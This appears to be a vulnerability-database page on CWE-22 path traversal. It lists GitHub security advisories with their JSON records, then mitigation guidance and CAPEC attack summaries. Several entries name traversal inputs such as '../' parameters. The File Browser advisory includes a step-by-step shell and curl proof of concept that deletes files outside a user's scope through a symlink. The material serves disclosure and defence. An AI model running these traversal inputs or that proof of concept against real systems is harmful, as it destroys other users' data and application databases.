CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13559 vulnerabilities reference this CWE, most recent first.
GHSA-FM8F-X47M-88PP
Vulnerability from github – Published: 2022-05-24 16:58 – Updated: 2024-04-04 02:24Jiangnan Online Judge (aka jnoj) 0.8.0 has Directory Traversal for file deletion via the web/polygon/problem/deletefile?id=1&name=../ substring.
{
"affected": [],
"aliases": [
"CVE-2019-17537"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-10-13T19:15:00Z",
"severity": "HIGH"
},
"details": "Jiangnan Online Judge (aka jnoj) 0.8.0 has Directory Traversal for file deletion via the web/polygon/problem/deletefile?id=1\u0026name=../ substring.",
"id": "GHSA-fm8f-x47m-88pp",
"modified": "2024-04-04T02:24:11Z",
"published": "2022-05-24T16:58:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-17537"
},
{
"type": "WEB",
"url": "https://github.com/shi-yang/jnoj/issues/53"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FM8R-8CVR-58V5
Vulnerability from github – Published: 2022-11-23 18:30 – Updated: 2022-11-28 18:30Automotive Shop Management System v1.0 is vulnerable to Delete any file via /asms/classes/Master.php?f=delete_img.
{
"affected": [],
"aliases": [
"CVE-2022-44280"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-11-23T16:15:00Z",
"severity": "MODERATE"
},
"details": "Automotive Shop Management System v1.0 is vulnerable to Delete any file via /asms/classes/Master.php?f=delete_img.",
"id": "GHSA-fm8r-8cvr-58v5",
"modified": "2022-11-28T18:30:16Z",
"published": "2022-11-23T18:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-44280"
},
{
"type": "WEB",
"url": "https://github.com/Onetpaer/bug_report/blob/main/vendors/oretnom23/automotive-shop-management-system/delete-1.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FM92-8XWG-H8VW
Vulnerability from github – Published: 2022-05-17 02:43 – Updated: 2022-05-17 02:43The Codextrous B2J Contact (aka b2j_contact) extension before 2.1.13 for Joomla! allows a directory traversal attack that bypasses a uniqid protection mechanism, and makes it easier to read arbitrary uploaded files.
{
"affected": [],
"aliases": [
"CVE-2017-9030"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-05-17T14:29:00Z",
"severity": "HIGH"
},
"details": "The Codextrous B2J Contact (aka b2j_contact) extension before 2.1.13 for Joomla! allows a directory traversal attack that bypasses a uniqid protection mechanism, and makes it easier to read arbitrary uploaded files.",
"id": "GHSA-fm92-8xwg-h8vw",
"modified": "2022-05-17T02:43:56Z",
"published": "2022-05-17T02:43:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-9030"
},
{
"type": "WEB",
"url": "https://navixia.com/storage/app/media/uploaded-files/CVE/cve-2017-521415.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FM92-9GV5-4736
Vulnerability from github – Published: 2022-05-17 05:34 – Updated: 2022-05-17 05:34Directory traversal vulnerability in the obSuggest (com_obsuggest) component before 1.8 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
{
"affected": [],
"aliases": [
"CVE-2011-4804"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2011-12-14T00:55:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in the obSuggest (com_obsuggest) component before 1.8 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.",
"id": "GHSA-fm92-9gv5-4736",
"modified": "2022-05-17T05:34:16Z",
"published": "2022-05-17T05:34:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-4804"
},
{
"type": "WEB",
"url": "http://foobla.com/news/latest/obsuggest-1.8-security-release.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/46844"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/48944"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-FM9M-C2JH-HVHF
Vulnerability from github – Published: 2022-05-17 02:48 – Updated: 2022-05-17 02:48Samsung wssyncmlnps before 2015-10-31 allows directory traversal in a Kies restore, aka ZipFury.
{
"affected": [],
"aliases": [
"CVE-2015-8780"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-04-13T16:59:00Z",
"severity": "MODERATE"
},
"details": "Samsung wssyncmlnps before 2015-10-31 allows directory traversal in a Kies restore, aka ZipFury.",
"id": "GHSA-fm9m-c2jh-hvhf",
"modified": "2022-05-17T02:48:37Z",
"published": "2022-05-17T02:48:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-8780"
},
{
"type": "WEB",
"url": "https://github.com/ud2/advisories/tree/master/android/samsung/nocve-2015-0001"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:P/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FMGC-85R6-V6Q3
Vulnerability from github – Published: 2025-03-28 15:31 – Updated: 2026-04-01 18:34Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in NotFound PluginPass allows Manipulating Web Input to File System Calls. This issue affects PluginPass: from n/a through 0.9.10.
{
"affected": [],
"aliases": [
"CVE-2024-54291"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-28T15:15:45Z",
"severity": "HIGH"
},
"details": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in NotFound PluginPass allows Manipulating Web Input to File System Calls. This issue affects PluginPass: from n/a through 0.9.10.",
"id": "GHSA-fmgc-85r6-v6q3",
"modified": "2026-04-01T18:34:14Z",
"published": "2025-03-28T15:31:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54291"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/pluginpass-pro-plugintheme-licensing/vulnerability/wordpress-pluginpass-plugin-0-9-10-arbitrary-file-download-delete-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FMH4-XF5F-2M2Q
Vulnerability from github – Published: 2022-05-02 06:21 – Updated: 2022-05-02 06:21Directory traversal vulnerability in the SVMap (com_svmap) component 1.1.1 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
{
"affected": [],
"aliases": [
"CVE-2010-1308"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-04-08T16:30:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in the SVMap (com_svmap) component 1.1.1 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.",
"id": "GHSA-fmh4-xf5f-2m2q",
"modified": "2022-05-02T06:21:11Z",
"published": "2022-05-02T06:21:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-1308"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.org/1004-exploits/joomlasvmap-lfi.txt"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/39350"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/12066"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2010/0809"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-FMM7-X4GX-8JHR
Vulnerability from github – Published: 2026-07-20 21:17 – Updated: 2026-07-20 21:17Summary
A scoped, non-admin File Browser user holding only the Create permission can delete arbitrary files outside their scope (other tenants' data, and the application's own database) via the upload failure-cleanup path. This is an incomplete fix of CVE-2026-54094: the v2.63.14 ScopedFs containment wrapper was applied to read/write/list/rename but NOT to the delete path. Confidentiality is preserved (reads stay blocked); integrity and availability are not.
ScopedFs.RemoveAll is the one dereferencing operation that skips the symlink guard every other method enforces. The direct-upload handler runs RemoveAll on the user-controlled path during failed-upload cleanup, gated only by Perm.Create. If an escaping directory symlink already exists inside the user's scope, an authenticated create-only user can delete an out-of-scope target, bypassing both the ScopedFs boundary and the Perm.Delete gate.
Affected code: https://github.com/filebrowser/filebrowser/blob/be23ab3a15bf957928ecfed88de5ab67850c1b9c/http/resource.go#L172-L174
Details
CVE-2026-54094 was fixed by a ScopedFs afero wrapper whose guard() resolves every path component with filepath.EvalSymlinks and rejects out-of-scope targets. guard() is invoked on read, write, list, rename, stat, etc. The fix is incomplete; two gaps combine:
ScopedFs.RemoveandScopedFs.RemoveAllskipguard()(files/scoped.go:138-144) — they calls.base.Remove/RemoveAlldirectly, unlike every other method.resourcePostHandlerdoes not return on aNewFileInfocontainment error (http/resource.go:125-180). For an out-of-scope pathNewFileInfofails, but the handler only uses that for the override branch (if err == nil) and falls through towriteFile, which is correctly guard-blocked and errors — triggering the failure-cleanup_ = d.user.Fs.RemoveAll(r.URL.Path)(http/resource.go:173) on the unvalidated path.
Because Go's os.RemoveAll follows a symlinked ancestor, RemoveAll("link/secret.txt") where link -> /srv/victim deletes /srv/victim/secret.txt, outside scope. The HTTP response is 403 (write blocked), masking the deletion.
Of the three handlers calling RemoveAll, only resourcePostHandler is exploitable; resourceDeleteHandler (:114) and tusDeleteHandler (:264) return the NewFileInfo error first (shadowed, confirmed by negative controls). If the target is a directory, RemoveAll recursively removes out-of-scope contents.
Precondition
An escaping directory symlink must already exist inside the user's scope. File Browser exposes no symlink-creation API, so it is planted out of band (admin, mounted/shared volume, restored backup, extracted archive, another process). This is the same threat model accepted by CVE-2026-54094.
Proof of concept
Root /tmp/fb-root, a Create-only non-admin user scoped to /scope with Perm.Create=true (and Perm.Delete=false — the bug must not need it), and a pre-existing symlink /tmp/fb-root/scope/link -> /tmp/fb-out:
# 0. Layout: server root + an out-of-scope dir holding the victim file
mkdir -p /tmp/fb-root /tmp/fb-out
echo keep > /tmp/fb-out/victim.txt
# 1. Init DB and pin the server root
filebrowser -d /tmp/fb.db config init
filebrowser -d /tmp/fb.db config set --root /tmp/fb-root
# 2. Create a CREATE-ONLY, non-admin user scoped to /scope. perm.delete=false is the point: the bug must not need it
filebrowser -d /tmp/fb.db users add victim hunter2 \
--scope=/scope \
--perm.admin=false --perm.create=true \
--perm.modify=false --perm.delete=false \
--perm.rename=false --perm.share=false --perm.execute=false
# 3. Plant an escaping directory symlink inside the user's scope. Out-of-band, per the threat model
# (admin, mounted/shared volume, restored backup, another process). No FileBrowser API creates this.
ln -s /tmp/fb-out /tmp/fb-root/scope/link
# 4. Start the server
filebrowser -d /tmp/fb.db -a 127.0.0.1 -p 8080
# 5. Log in; the JWT is returned as the raw response body
JWT=$(curl -s -X POST http://127.0.0.1:8080/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"victim","password":"hunter2"}')
# 6. Trigger: POST to a child of the symlink. The guarded write (MkdirAll/OpenFile) fails with 403,
# and failed-upload cleanup then runs the UNguarded RemoveAll("/link/victim.txt").
curl -i -X POST -H "X-Auth: $JWT" --data 'x' \
'http://127.0.0.1:8080/api/resources/link/victim.txt'
# 7. Impact check
test ! -e /tmp/fb-out/victim.txt && echo "IMPACT: out-of-scope victim.txt DELETED"
Minimal HTTP summary (Create-only user carol, scope /attacker, pre-existing symlink /attacker/link -> /srv/victim, file /srv/victim/secret.txt):
GET /api/raw/link/secret.txt -> 403 (read containment still holds — the v2.63.14 fix)
POST /api/resources/link/secret.txt -> 403 (write blocked)
=> /srv/victim/secret.txt is DELETED (unguarded cleanup RemoveAll followed the symlinked ancestor)
Verified blast radius (per-case HTTP + on-disk before/after captured): create-only no-override deletion; cross-tenant deletion; full-instance DoS (delete the database dir → all users/shares/config gone, admin login fails); negative controls on the DELETE sinks (403, file survives).
Impact
A per-tenant / per-share scoped user with only Create can destroy any file the File Browser process can reach via a symlink lexically inside their scope: other tenants' data or the application database (instance DoS). A create-only user deletes out-of-scope files reachable through an escaping symlinked directory, bypassing the ScopedFs boundary and the Perm.Delete gate. If the target is a directory, RemoveAll recursively removes out-of-scope contents. Precondition: a symlink present in the user's scope — identical to the parent CVE-2026-54094, which the project treated as in-scope, and which arises naturally via mounted volumes, restored backups, or extracted archives.
Suggested fix
- Add
guard()toScopedFs.RemoveandScopedFs.RemoveAll(files/scoped.go), mirroring the other methods (closes the class for all callers). - Defense-in-depth: in
resourcePostHandler, return early whenNewFileInforeturns a non-not-exist error (do not fall through towriteFile/cleanup on a path that failed containment).
References
- Incomplete fix of CVE-2026-54094 /
GHSA-239w-m3h6-ch8v. - Affected code:
files/scoped.go(ScopedFs.Remove,ScopedFs.RemoveAll), reached fromhttp/resource.go(resourcePostHandlerfailure-cleanup, line 173). - Confirmed unpatched at HEAD
be23ab3(v2.63.15); no open issue/PR addresses theRemove/RemoveAllgap.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.63.15"
},
"package": {
"ecosystem": "Go",
"name": "github.com/filebrowser/filebrowser/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.63.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55667"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T21:17:24Z",
"nvd_published_at": "2026-06-25T19:16:43Z",
"severity": "HIGH"
},
"details": "## Summary\n\nA scoped, non-admin File Browser user holding only the **Create** permission can delete arbitrary files outside their scope (other tenants\u0027 data, and the application\u0027s own database) via the upload failure-cleanup path. This is an incomplete fix of CVE-2026-54094: the v2.63.14 `ScopedFs` containment wrapper was applied to read/write/list/rename but NOT to the delete path. Confidentiality is preserved (reads stay blocked); integrity and availability are not.\n\n`ScopedFs.RemoveAll` is the one dereferencing operation that skips the symlink `guard` every other method enforces. The direct-upload handler runs `RemoveAll` on the user-controlled path during failed-upload cleanup, gated only by `Perm.Create`. If an escaping directory symlink already exists inside the user\u0027s scope, an authenticated create-only user can delete an out-of-scope target, bypassing both the `ScopedFs` boundary and the `Perm.Delete` gate.\n\nAffected code: https://github.com/filebrowser/filebrowser/blob/be23ab3a15bf957928ecfed88de5ab67850c1b9c/http/resource.go#L172-L174\n\n## Details\n\nCVE-2026-54094 was fixed by a `ScopedFs` afero wrapper whose `guard()` resolves every path component with `filepath.EvalSymlinks` and rejects out-of-scope targets. `guard()` is invoked on read, write, list, rename, stat, etc. The fix is incomplete; two gaps combine:\n\n1. `ScopedFs.Remove` and `ScopedFs.RemoveAll` skip `guard()` (`files/scoped.go:138-144`) \u2014 they call `s.base.Remove/RemoveAll` directly, unlike every other method.\n2. `resourcePostHandler` does not return on a `NewFileInfo` containment error (`http/resource.go:125-180`). For an out-of-scope path `NewFileInfo` fails, but the handler only uses that for the override branch (`if err == nil`) and falls through to `writeFile`, which is correctly guard-blocked and errors \u2014 triggering the failure-cleanup `_ = d.user.Fs.RemoveAll(r.URL.Path)` (`http/resource.go:173`) on the unvalidated path.\n\nBecause Go\u0027s `os.RemoveAll` follows a symlinked ancestor, `RemoveAll(\"link/secret.txt\")` where `link -\u003e /srv/victim` deletes `/srv/victim/secret.txt`, outside scope. The HTTP response is 403 (write blocked), masking the deletion.\n\nOf the three handlers calling `RemoveAll`, only `resourcePostHandler` is exploitable; `resourceDeleteHandler` (`:114`) and `tusDeleteHandler` (`:264`) return the `NewFileInfo` error first (shadowed, confirmed by negative controls). If the target is a directory, `RemoveAll` recursively removes out-of-scope contents.\n\n## Precondition\n\nAn escaping directory symlink must already exist inside the user\u0027s scope. File Browser exposes no symlink-creation API, so it is planted out of band (admin, mounted/shared volume, restored backup, extracted archive, another process). This is the same threat model accepted by CVE-2026-54094.\n\n## Proof of concept\n\nRoot `/tmp/fb-root`, a Create-only non-admin user scoped to `/scope` with `Perm.Create=true` (and `Perm.Delete=false` \u2014 the bug must not need it), and a pre-existing symlink `/tmp/fb-root/scope/link -\u003e /tmp/fb-out`:\n\n```sh\n# 0. Layout: server root + an out-of-scope dir holding the victim file\nmkdir -p /tmp/fb-root /tmp/fb-out\necho keep \u003e /tmp/fb-out/victim.txt\n\n# 1. Init DB and pin the server root\nfilebrowser -d /tmp/fb.db config init\nfilebrowser -d /tmp/fb.db config set --root /tmp/fb-root\n\n# 2. Create a CREATE-ONLY, non-admin user scoped to /scope. perm.delete=false is the point: the bug must not need it\nfilebrowser -d /tmp/fb.db users add victim hunter2 \\\n --scope=/scope \\\n --perm.admin=false --perm.create=true \\\n --perm.modify=false --perm.delete=false \\\n --perm.rename=false --perm.share=false --perm.execute=false\n\n# 3. Plant an escaping directory symlink inside the user\u0027s scope. Out-of-band, per the threat model\n# (admin, mounted/shared volume, restored backup, another process). No FileBrowser API creates this.\nln -s /tmp/fb-out /tmp/fb-root/scope/link\n\n# 4. Start the server\nfilebrowser -d /tmp/fb.db -a 127.0.0.1 -p 8080\n\n# 5. Log in; the JWT is returned as the raw response body\nJWT=$(curl -s -X POST http://127.0.0.1:8080/api/login \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"username\":\"victim\",\"password\":\"hunter2\"}\u0027)\n\n# 6. Trigger: POST to a child of the symlink. The guarded write (MkdirAll/OpenFile) fails with 403,\n# and failed-upload cleanup then runs the UNguarded RemoveAll(\"/link/victim.txt\").\ncurl -i -X POST -H \"X-Auth: $JWT\" --data \u0027x\u0027 \\\n \u0027http://127.0.0.1:8080/api/resources/link/victim.txt\u0027\n\n# 7. Impact check\ntest ! -e /tmp/fb-out/victim.txt \u0026\u0026 echo \"IMPACT: out-of-scope victim.txt DELETED\"\n```\n\nMinimal HTTP summary (Create-only user `carol`, scope `/attacker`, pre-existing symlink `/attacker/link -\u003e /srv/victim`, file `/srv/victim/secret.txt`):\n\n```text\nGET /api/raw/link/secret.txt -\u003e 403 (read containment still holds \u2014 the v2.63.14 fix)\nPOST /api/resources/link/secret.txt -\u003e 403 (write blocked)\n =\u003e /srv/victim/secret.txt is DELETED (unguarded cleanup RemoveAll followed the symlinked ancestor)\n```\n\nVerified blast radius (per-case HTTP + on-disk before/after captured): create-only no-override deletion; cross-tenant deletion; full-instance DoS (delete the database dir \u2192 all users/shares/config gone, admin login fails); negative controls on the DELETE sinks (403, file survives).\n\n## Impact\n\nA per-tenant / per-share scoped user with only Create can destroy any file the File Browser process can reach via a symlink lexically inside their scope: other tenants\u0027 data or the application database (instance DoS). A create-only user deletes out-of-scope files reachable through an escaping symlinked directory, bypassing the `ScopedFs` boundary and the `Perm.Delete` gate. If the target is a directory, `RemoveAll` recursively removes out-of-scope contents. Precondition: a symlink present in the user\u0027s scope \u2014 identical to the parent CVE-2026-54094, which the project treated as in-scope, and which arises naturally via mounted volumes, restored backups, or extracted archives.\n\n## Suggested fix\n\n1. Add `guard()` to `ScopedFs.Remove` and `ScopedFs.RemoveAll` (`files/scoped.go`), mirroring the other methods (closes the class for all callers).\n2. Defense-in-depth: in `resourcePostHandler`, return early when `NewFileInfo` returns a non-not-exist error (do not fall through to `writeFile`/cleanup on a path that failed containment).\n\n## References\n\n- Incomplete fix of CVE-2026-54094 / `GHSA-239w-m3h6-ch8v`.\n- Affected code: `files/scoped.go` (`ScopedFs.Remove`, `ScopedFs.RemoveAll`), reached from `http/resource.go` (`resourcePostHandler` failure-cleanup, line 173).\n- Confirmed unpatched at HEAD `be23ab3` (`v2.63.15`); no open issue/PR addresses the `Remove`/`RemoveAll` gap.",
"id": "GHSA-fmm7-x4gx-8jhr",
"modified": "2026-07-20T21:17:24Z",
"published": "2026-07-20T21:17:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-fmm7-x4gx-8jhr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55667"
},
{
"type": "PACKAGE",
"url": "https://github.com/filebrowser/filebrowser"
},
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/blob/be23ab3a15bf957928ecfed88de5ab67850c1b9c/http/resource.go#L172-L174"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup"
}
GHSA-FMMR-6775-P786
Vulnerability from github – Published: 2022-05-02 03:52 – Updated: 2022-05-02 03:52Directory traversal vulnerability in includes/feedcreator.class.php in Elxis CMS allows remote attackers to read arbitrary files via a .. (dot dot) in the filename parameter.
{
"affected": [],
"aliases": [
"CVE-2009-4154"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-12-02T17:30:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in includes/feedcreator.class.php in Elxis CMS allows remote attackers to read arbitrary files via a .. (dot dot) in the filename parameter.",
"id": "GHSA-fmmr-6775-p786",
"modified": "2022-05-02T03:52:18Z",
"published": "2022-05-02T03:52:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4154"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.org/0911-exploits/elxiscms-disclose.txt"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/37158"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-FMMX-7C8X-CQV9
Vulnerability from github – Published: 2024-07-09 18:30 – Updated: 2024-07-11 15:30Directory Travel in PHPVibe v11.0.46 due to incomplete blacklist checksums and directory checks, which can lead to code execution via writing specific statements to .htaccess and code to a file with a .png suffix.
{
"affected": [],
"aliases": [
"CVE-2024-39171"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-35"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-09T17:15:48Z",
"severity": "HIGH"
},
"details": "Directory Travel in PHPVibe v11.0.46 due to incomplete blacklist checksums and directory checks, which can lead to code execution via writing specific statements to .htaccess and code to a file with a .png suffix.",
"id": "GHSA-fmmx-7c8x-cqv9",
"modified": "2024-07-11T15:30:44Z",
"published": "2024-07-09T18:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39171"
},
{
"type": "WEB",
"url": "https://github.com/751897386/PHPVibe_vulnerability_Directory-Traversal"
},
{
"type": "WEB",
"url": "http://phpvibe.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
